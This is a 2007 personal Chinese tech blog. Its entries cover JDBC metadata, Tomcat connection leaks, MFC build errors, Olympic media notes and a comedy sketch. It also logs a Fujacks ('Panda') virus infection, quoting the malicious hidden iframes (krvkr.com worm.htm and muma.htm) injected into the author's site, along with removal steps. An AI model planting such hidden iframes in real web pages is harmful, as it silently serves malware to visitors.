getColumnLabel VS getColumnName

在写程序时,遇到一个问题,查了资料才知道区别,算是找到了解决办法。

现象:如果sql="select id+1, age+100 test_age, salary from account",使用ResultSetMetaData的getColumnName(1)和getColumnName(2)是取不出内容的,结果为空,但是使用getColumnLabel则可以,上述例子中,getColumnLabel(1)可以得到"id+1",getColumnLabel(2)可以得到"test_age",getColumnName(3)和getColumnLabel(3)得到的结果均为salary。此测试均在mysql+tomcat+jdk1.5环境中测试。
解决:用getColumnLabel代替getColumnName即可。
下述资料来自:SUN JAVA
--------------------------
ResultSetMetaData
String getColumnLabel(int column)
获取用于打印输出和显示的指定列的建议标题。
String getColumnName(int column)
获取指定列的名称。
--------------------------
方法摘要
String getCatalogName(int column)
获取指定列的表目录名称。
String getColumnClassName(int column)
如果调用方法 ResultSet.getObject 从列中检索值,则返回构造其实例的 Java 类的完全限定名称。
int getColumnCount()
返回此 ResultSet 对象中的列数。
int getColumnDisplaySize(int column)
指示指定列的最大标准宽度,以字符为单位。
String getColumnLabel(int column)
获取用于打印输出和显示的指定列的建议标题。
String getColumnName(int column)
获取指定列的名称。
int getColumnType(int column)
检索指定列的 SQL 类型。
String getColumnTypeName(int column)
检索指定列的数据库特定的类型名称。
int getPrecision(int column)
获取指定列的小数位数。
int getScale(int column)
获取指定列的小数点右边的位数。
String getSchemaName(int column)
获取指定列的表模式。
String getTableName(int column)
获取指定列的名称。
boolean isAutoIncrement(int column)
指示是否自动为指定列进行编号,这样这些列仍然是只读的。
boolean isCaseSensitive(int column)
指示列的大小写是否有关系。
boolean isCurrency(int column)
指示指定的列是否是一个哈希代码值。
boolean isDefinitelyWritable(int column)
指示在指定的列上进行写操作是否明确可以获得成功。
int isNullable(int column)
指示指定列中的值是否可以为 null。
boolean isReadOnly(int column)
指示指定的列是否明确不可写入。
boolean isSearchable(int column)
指示是否可以在 where 子句中使用指定的列。
boolean isSigned(int column)
指示指定列中的值是否带正负号。
boolean isWritable(int column)
指示在指定的列上进行写操作是否可以获得成功。

星期二, 三月 20, 2007

办公室掀起I'm热潮

办公室掀起I'm热潮,看来MSN这次版本升级的策略是正确的。

http://im.live.com/messenger/im/causes/
http://www.q3q.org/read.php/871.htm
http://info.msn.com.cn/2007/article/2007-03/87.htm

如果你也有兴趣“慈善”一把,别忘了看看这里,有人说MSN“慈善图标盲目流行”,也有人说“这是傻帽肉鸡”,有人对此也有评价

星期二, 三月 13, 2007

偶的路由器


有了它,就可以多台电脑一起上网了。
支持自动ADSL的PPPOE拨号。
严重不足:电源,需要一个巨大的变压器,能用常压的多好呀。
这个路由器非常容易设置。http://192.168.1.1/即可进入中文设置界面。
pc机可以把ip设置为dhcp,包括dns也可以自动分配。可是如果要自己设置ip,一定要自己设置dns服务器,否则域名无法解析,手册里居然也没讲这个事。
可以设置为如下DNS地址:
opendns:208.67.222.222,208.67.220.220
北京网通:202.106.46.151,202.106.0.20

星期二, 二月 20, 2007

太有才了

策划董卿:有请赵本山、宋丹丹为我们带来的小品《策划》。
宋丹丹:儿媳妇,家里来客人了,整俩硬菜。你这录完了在哪播?
牛群:在各个地方台都播。
宋丹丹:地方台好呀,别搁小崔那儿播,不靠谱(笑声)。去年我从中央台回来,那家伙,一路背字呀,干啥啥赔(笑声)。
牛群:大妈给你拍个照。
宋丹丹:我不跟他照。
牛群:给你们来个合影。
宋丹丹:一块照,要不然人家以为我们又离婚了。
宋丹丹:老头子,老黑(赵本山从舞台右侧出场,掌声热烈)。
牛群:观众朋友们大家好,现在站在我们身后的是白云黑土两位名人,前不久在他们家里发生了天大的奇事。他们家的公鸡居然下蛋了。
(赵本山撒腿就跑,宋丹丹跟上)
赵本山:你这老婆子嘴咋跟棉裤腰似的,
宋丹丹:怎么了?
赵本山:那么松呢!
赵本山:公鸡下蛋发生在咱家,那不等于跟别人说我怀孕了一个样(笑声)。
宋丹丹:我数了,一,二……
赵本山:你数了一辈子的一二三。
宋丹丹:我说开始你要配合呀。
牛群:来,节目开始录制。
赵本山:上次出书,还欠人家两万块钱费用。
牛群:(掏钱)这就是预付的劳务费。
宋丹丹:你想知道详情,请登录3w点白云飘飘点博客点com。
牛群:大妈咋还开了博客呢?
赵本山:现在名人都刻薄。
牛群:请问大妈公鸡下蛋之前有啥征兆没?
赵本山:没征兆。
宋丹丹:有征兆,有征兆,咋能没有征兆呢?要说鸡下蛋之前确实有征兆,而且征兆明显,最主要的是面部表情生产变化。
赵本山:鸡先笑了。(大家都笑了)
牛群:(笑)请大叔详细描述一下鸡下蛋之前的情况。
赵本山:当时没有征兆,那是不可能的———当时这个鸡———心里特别矛盾,一个公鸡,居然它要下蛋,不是它的活它要干。大公鸡怎么看?鸭子怎么看?大鹅怎么看?跟它好过的小母鸡怎么看?当公鸡孵出鸡仔后,别人管它叫啥?叫爸,叫妈,还是叫姑,叫大姨?有蛋不下又憋得慌,于是乎……
宋丹丹:它坚定了自己的信念,下自己的蛋,让别人说去吧。
牛群:大叔大妈,它把蛋下在了哪儿?
宋丹丹:问你呢,到底下哪儿了?
赵本山:他当时心里挺有压力,不好意思,他就溜达,来到了鸡窝跟前,不能。又来到了鸭笼跟前,也不行。然后实在憋不住了,就找了个狗窝把蛋下了。
牛群:狗窝?是怎么发现的?
宋丹丹:被狗仔队发现的呗。以前鸡走道,挺胸抬头,气宇轩昂;自打生了公鸡蛋,走道都改了,改这样了(开始模仿公鸡走道),鸡爪子可着劲儿地划,我一开始还没明白,研究了半天才缓过来神,人家那是在练签名呢。
牛群:大叔大妈,公鸡下的蛋哪去了?
赵本山:吃了。
牛群:有啥副作用不?
赵本山:吃过了跟那普通的一个味儿。
宋丹丹:瞎扯。虽不能说包治百病,但效果就是不一样。很多老年人被脑溢血后遗症所困扰,俺家老伴去年得了脑溢血后遗症,过去他没吃公鸡蛋之前走道儿是这样的(拉着赵本山配合表演,赵直愣着两眼),吃完了之后,那家伙,再看,就成了这样(赵本山应声倒地)。
牛群:怎么了这是?
宋丹丹:不录了,不录了,把这段倒过来放。(催赵本山下去上菜)
牛群:我们还想请大妈给公鸡蛋作个形象代言。
宋丹丹:那没问题。
牛群:那咱把合同给签了。这两万块钱是劳务费,你要是违约了可得双倍偿还。
宋丹丹:唉呀,没问题,十倍赔偿都行。
牛群:这是代言词,还请大叔把鸡抱过来。
宋丹丹(仔细瞅了两眼):哎呀,这家伙太有才了,就两句,相当精练。下蛋的公鸡,公鸡中的战斗机!哦———
赵本山上场,告诉宋丹丹:鸡不见了。
宋:哪去了?
赵:指指桌子上的菜盆,媳妇给炖了。(宋当时晕倒)
赵:老伴儿,你咋地了?
宋:完了,咱家饥荒这下变四万了!
赵:老伴儿,小云,宝贝儿,别哭了!有我在呢,到底咋回事?
牛群:大妈这是怎么了?
赵:鸡没了!
牛:大叔别开这样的玩笑,我刚才跟大妈把合同都签了,代言费两万,一签完字这合同可就生效了,拿不出鸡来可得赔四万。
(赵傻了,宋丹丹接着哭)
赵:干吗呢你这是?打鸣呢?
牛:那您告诉我鸡在哪儿?
赵:午睡了。

牛:还午睡?
赵:这鸡自打出名之后时差都乱了。(问)这鸡能值那么多钱呢?
牛:大叔我跟您说实话,这鸡本来不值钱,但经过我一炒作,炒完了它可就值大钱了。炒了,煮了,炖了都值钱!
赵:你的意思是无论它是死的活的,都是值钱的?
牛:对了。
宋:哎呀,老头子,你真是太有才了。
赵:比方说这只出名的公鸡要是死了,这肉也能值钱?
牛:是的。
赵本山:肉值多少钱?
牛群:咱就说这一块儿,您要不拿个两千,就没权利吃上。
赵:鸡心呢?
牛:四千。
赵:鸡肝?
牛:六千。
赵:鸡肾?
牛:八千。
赵本山:成了,够数了。你抱是抱不走了,但你可以把它端走。这两万块钱你也拿回去吧。在这儿吃也可以,权当是我请你吃了两万块钱的大餐。
宋(高兴):老伴儿,你家伙你真是太有才了。

星期五, 二月 09, 2007

奥运官方图片社:Getty Image

   北京-2006年6月16日, Getty Images图片社被北京奥组委指定为北京2008年第29届奥运会组织委员会的官方图片社。

   “Getty Images图片社”是具有世界领导地位的图片公司,在体育摄影方面有着丰富经验,并与国际奥委会有着密切的合作关系。在将于2008年8月至9月举行的第29届奥运会和第13届残奥会期间,Getty Images图片社将派出一支由蜚声国际的摄影师、编辑和相关人员组成的团队,为本届奥运会提供全方位的图片报道。

   “Getty Images图片社与奥林匹克运动会的合作关系源远流长,自1968年以来,Getty Images图片社就开始用图片报道奥运会。这次我们被指定为北京2008年第29届奥运会组委会的官方图片社,是对我们作为世界领先的图片社声誉的认可,” Getty Images图片社的首席执行官,同时也是创始人之一的乔纳森·克莱恩(Jonathan Klein)表示,“奥运会是最高水准的体育赛事,是运动员体育成绩和体育精神的展现,能够参与到北京2008年奥运会中来,我们感到非常骄傲。”

   “作为官方图片社,我们将确保在最短的时间内,通过我们的网站(gettyimages,com)将最新的图片传送到世界各地。

   “作为体育摄影专家,Getty Images图片社的摄影师将深入到本届奥运会28个大项的每个项目中去。我们经验丰富的编辑和技术人员将确保对所有赛事的全面报道,包括开幕式和闭幕式。”
Getty Images图片社已逾50个国际体育赛事主管团体建立了合作伙伴关系。此外,Getty Images图片社与越来越多的国家奥委会以及世界各地的其他国家性体育组织建立了合作关系。
Getty Images图片社已成为全球最权威的新闻、体育和娱乐图片供应商之一。旗下除知名的摄影师之外,Getty Images图片社还拥有一只报道范围横跨政治、体育和社会等领域的顶尖摄影记者团队;他们拍摄的图片每天都出现在最受欢迎的报纸、杂志和网站上。

  除对夏季奥运会的实时报道之外,Getty Images图片社提供的奥运会图片库也是业界规模最大的图片库之一。其图片库中包括从最近一次的都灵冬奥会追溯到1896年的雅典奥运会为大家所熟知的经典图片。其中包括1896年第一届奥运会马拉松冠军希腊人鲁伊斯(Spyridon Louis)在最后一圈时,希腊国王乔治一世走下观礼台迎接他的图片,以及1908年奥运会时多兰多·皮埃特利(Dorando Pietri)在通过终点线时因犯规而被取消比赛资格,痛失金牌的图片。除了上述令人难以忘怀的图片外,Getty Images图片社还提供往届奥运会大量的图片。
-------------------
  根据公司的年度报告, Getty Images 在 2005 年底雇佣了 1823 名员工, 975 名在北美和南美, 711 在欧洲, 137 名分布在世界其它地方。

星期四, 二月 08, 2007

奥运知识

北京奥运会,注册媒体记者21600人,新华社由国际奥组委直接分配名额240人,国内其它媒体由国家体委分配名额。

MPC主新闻中心Main Press Centre
IBC国际广播中心International Broadcast Center
VMC场馆新闻中心Venue Media Centre
MS媒体服务Media Service
PS摄影服务Photo Service
ONS奥林匹克新闻服务Olympic News service
BOB北京奥林匹克转播有限公司Beijing Olympic Broadcasting Co.,Ltd“2008奥运会电视转播指挥中心”。

CIS评论员信息服务系统。
Info2008奥运会信息系统。

星期二, 二月 06, 2007

2月6日,奥组委

2月6日,随大部队去了一次奥组委。
奥组委在北四环,北航对面,北京奥运大厦。
感受:食堂不错。
感受:三大通讯社真厉害,在VLAN的选择上,有极大可能要影响奥组委的无线组网模式,他们联合起来提出的要求,与奥组委目前能够提供的服务有相左的地方,极有可能奥组委让步。说不定这次xinhua东道国通讯社身份能够帮奥组委挽回一些面子,在这个组网争论中选择有利于奥组委的方案。

星期日, 二月 04, 2007

2月4日,南山滑雪

南山的场地很好。北京的天气很差。
有了教练,水平提高的快。
脚疼,右脚使劲向左侧转弯顺利,左脚使劲向右侧转弯有困难。需要加强练习,上中级道还有困难,估计再滑两次应该就差不多了。

星期二, 一月 30, 2007

1月29日,光缆修复了

google的各项服务使用起来基本正常了,很爽的感觉。
如果你要一个人觉得幸福,先剥夺他的全部,再给予他。

星期五, 一月 26, 2007

unexpected end of file while looking for precompiled header directive

编译CxImage库,有个MFC问题,我不想再敲了,下面是一篇文章,说的挺好的,我贴了。重申一次,I hate mfc
--------------------------------------------------------------------------------

Error message C1010
--------------------------------------------------------------------------------
?
?Error message C1010
If, while building an MFC application, you receive the error message "fatal error C1010: unexpected end of file while looking for precompiled header directive" it means you have run afoul of the compiler's handling of precompiled headers.

What are precompiled headers?
MFC programs use many libraries, requiring the use of many header files. To save time, the compiler tries to precompile most of these header files, and use the predigested data instead of reading through all of these header files on every compilation. There are a number of ways to do this. The standard method for MFC programs is to lump all of these common header file references into one header file ("stdafx.h"). If you just have to ask what "stdafx" means, it comes from the early name of MFC, which was AFX (application framework).

When compiling each source (.cpp) file, the compiler skips through the source code, looking for the directive:

#include "stdafx.h"

Once it finds this directive, it substitutes the precompiled header information and then begins compiling the rest of the file. If your source file doesn't contain this directive, you get the C1010 error described above.

Fixing the problem
There are two ways to get rid of the error, depending on the file you are trying to compile:

The direct solution is to add the include directive to your source file, before any other library references or other code. This solution is appropriate when the module you are compiling needs to make use of MFC classes (e.g., CString).
If your module is "pure" C++ code (for example, your own "Date" class), with no need to reference MFC at all, then you may prefer not to add the "stdafx.h" include directive. In this case, you can change the project settings to inform MSVC that you are not making use of the precompiled header files. Here's how to do it:
From the Project menu, select Settings ....
Make sure the Settings for selection reflects the project you are building. By default, this will likely be "Win32 Debug".
Expand the Source Files folder in the list on the left, and click once on the source file that you don't want to use precompiled headers.
On the right, select the C/C++ tab.
In the Category combo box, select Precompiled headers.
Select the Not using precompiled headers option.
Repeat for any other files for which you wish to disable precompiled headers (but not for any files created by the Developer Studio AppWizard).
Click OK to close the project settings dialog.

星期二, 一月 23, 2007

切记,资源需要关闭!

节前搭建起来的网站,由于业务的关系,暂时还没正式投入运行,访问量极低。就这样的背景下,居然隔三五天就不能访问了,甚至有一次3点还能访问,3点10分就访问不了啦,首页面可以出来,就是无法登录,查tomcat日志也什么都没有,蹊跷的很。
后来好好分析了一下,首页面是一个jsp页面,能够正常显示,应该是tomcat还活着,登录是一个servlet,其功能也很简单,就是到数据库里比一下口令。
既然jsp能出来,servlet不能响应,而jsp在运行的时候,也是转换为servlet在运行的,说明servlet的引擎也是好的,唯一的查找问题点就落在了数据库连接方面。
为了效率,在获取数据库连接方面使用了tomcat的连接池,难道是设置有不正确的地方?在网上搜集了很多这方面资料,也只有少量“瑕疵”而已,大体上还是正确的嘛。
最后还是把问题指向了连接池的关闭上。
昨天上午,好好查了一下代码,进行全文搜索,只要获取连接,看看后边有没跟一个关闭的语句。
果然就找到了,多个servlet就只有一个忘了关,他运行的次数越多,问题出现的也就越快!
原因太简单了,以前作项目也遇到过完全一样的问题,没想到还是不小心,漏关connection一次就造成这么明显的问题。
-------------------------------------------
附一个标准使用tomcat连接池的代码:
Here is an example of get db connection from a conectiono pool:
Context initContext = new InitialContext();
Context envContext = (Context)initContext.lookup("java:/comp/env");
DataSource ds = (DataSource)envContext.lookup("jdbc/myoracle");
Connection conn = ds.getConnection();
//etc.

Here is an example of properly written code to use a db connection obtained from a connection pool:
Connection conn = null;
Statement stmt = null; // Or PreparedStatement if needed
ResultSet rs = null;
try {
conn = ... get connection from connection pool ...
stmt = conn.createStatement("select ...");
rs = stmt.executeQuery();
... iterate through the result set ...
rs.close();
rs = null;
stmt.close();
stmt = null;
conn.close(); // Return to connection pool
conn = null; // Make sure we don't close it twice
} catch (SQLException e) {
... deal with errors ...
} finally {
// Always make sure result sets and statements are closed,
// and the connection is returned to the pool
if (rs != null) {
try { rs.close(); } catch (SQLException e) { ; }
rs = null;
}
if (stmt != null) {
try { stmt.close(); } catch (SQLException e) { ; }
stmt = null;
}
if (conn != null) {
try { conn.close(); } catch (SQLException e) { ; }
conn = null;
}
}

星期五, 一月 12, 2007

病毒复染,W32.Fujacks!html

1月11日,病毒复染,W32.Fujacks!html。
这次换了一台电脑,在下午3点钟左右开始发作。
其实都是kodak惹的祸。前几天访问kodak网站报错,问了客服,他们建议我把IE的所有设置都改为允许。结果今天就遭殃了,kodak的冲洗服务继续报错,我的机器却染了病毒。
1月12日,诺顿病毒定义码升级到10日后,即可杀W32.Fujacks!html毒。
在上次感染W32.Fujacks.E病毒的那台电脑上,截至当天下班前C盘还没有扫描完,已经查出了8000多个W32.Fujacks!html病毒。
1月15日,
截至当天晚上,杀毒数目为:24023个,还没有结束。

星期一, 一月 08, 2007

病毒确诊:W32.Fujacks.E

1月8日,中午。
最新进展:确认感染病毒名称为W32.Fujacks.E。诺顿升级到1月7日,可杀该病毒。
在使用诺顿全盘扫描前,一定要手工排除该病毒的运行,方法见5号文章。
绝大部分文件可直接清除病毒,少量文件只能隔离。

星期六, 一月 06, 2007

病毒影响面扩大

2007年1月6日,病毒影响面扩大。

今天在家休息,偶尔访问前段时间做的网站,居然登陆不了,看了源代码,才发现问题更大。

网站首页被嵌入病毒代码,<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>,百度一下,发现又是那个臭名昭著的"熊猫烧香"病毒干的坏事。

据说还有可能嵌入此代码:<iframe src=http://www.krvkr.com/muma.htm></iframe>

由于网站还未正式上线,不致于带来大面积破坏,还是能吓人一身冷汗的。

看来samba也不能随便用的,否则病毒再嚣张也扩散不到Linux服务器上啊。

一切要等周一看看服务器网页被"插入"多少恶意代码才知道其影响范围,不出意外的话,应该是全部jsp页面全被感染,修改的工作量不会小。

星期五, 一月 05, 2007

新年过后,有点背


2007年1月5日,周五,新年过后第二个工作日。


今天真点背,早上把手套丢了,座车的时候把手套放在包上,下车的时候就拿了包,没拿手套。
上午10点,突然发现自己机器的防病毒程序没了,然后察看进程,发现"任务管理器"启动不了啦。再然后发现机器上的UltraEdit不能用了,EditPlus不能用了,是因为exe执行程序被人删掉了!
立即进入警惕状态,查!
情况更严重。
1,ghost文件被人删除了。
2,E盘上出现了GameSetup.exe程序。
3,U盘上出现了AutoRun.inf和setup.exe程序。
4,使用哪个exe程序,哪个就不能用,如VC。
5,多个目录中发现了Desktop_.ini文件。
6,天网防火墙无法启动。
7,诺顿防病毒无法启动。
侦查目标指向:Nimaya,Viking,WhBoy。
使用了金山和瑞星的转杀工具,均无效,目前机器仍无法恢复。

在线安装诺顿防病毒,安装失败,后改用下载好的再安装。

手仞"熊猫"病毒的方法:
==========
1. 断开网络

2. 结束病毒进程
%System%\drivers\spoclsv.exe

3. 删除病毒文件:
%System%\drivers\spoclsv.exe

4. 右键点击分区盘符,点击右键菜单中的"打开"进入分区根目录,删除根目录下的文件:
X:\setup.exe
X:\autorun.inf

5. 删除病毒创建的启动项:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"svcshare"="%System%\drivers\spoclsv.exe"

6. 修改注册表设置,恢复"显示所有文件和文件夹"选项功能:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
"CheckedValue"=dword:00000001

7. 修复或重新安装反病毒软件

8. 使用反病毒软件或专杀工具进行全盘扫描,清除恢复被感染的exe文件

需按照如下办法处理:
1,手仞病毒。
2,重启电脑。重装norton,升级最新病毒定义。
3,重启电脑,进入安全模式。
4,杀毒,全盘扫描。使用诺顿扫描,使用转杀工具扫描。


截至到今天下班为止,仍然没有修复,其中还经历另一次病毒的反复。可能是因为清除病毒后,没有全面杀毒,运行了一个被感染了病毒的程序造成的。下班的时候再次进入全盘扫描,就回家了,下周一应该会好了。


星期一, 一月 01, 2007

开篇2007

新的一年,将BLOG迁至此处。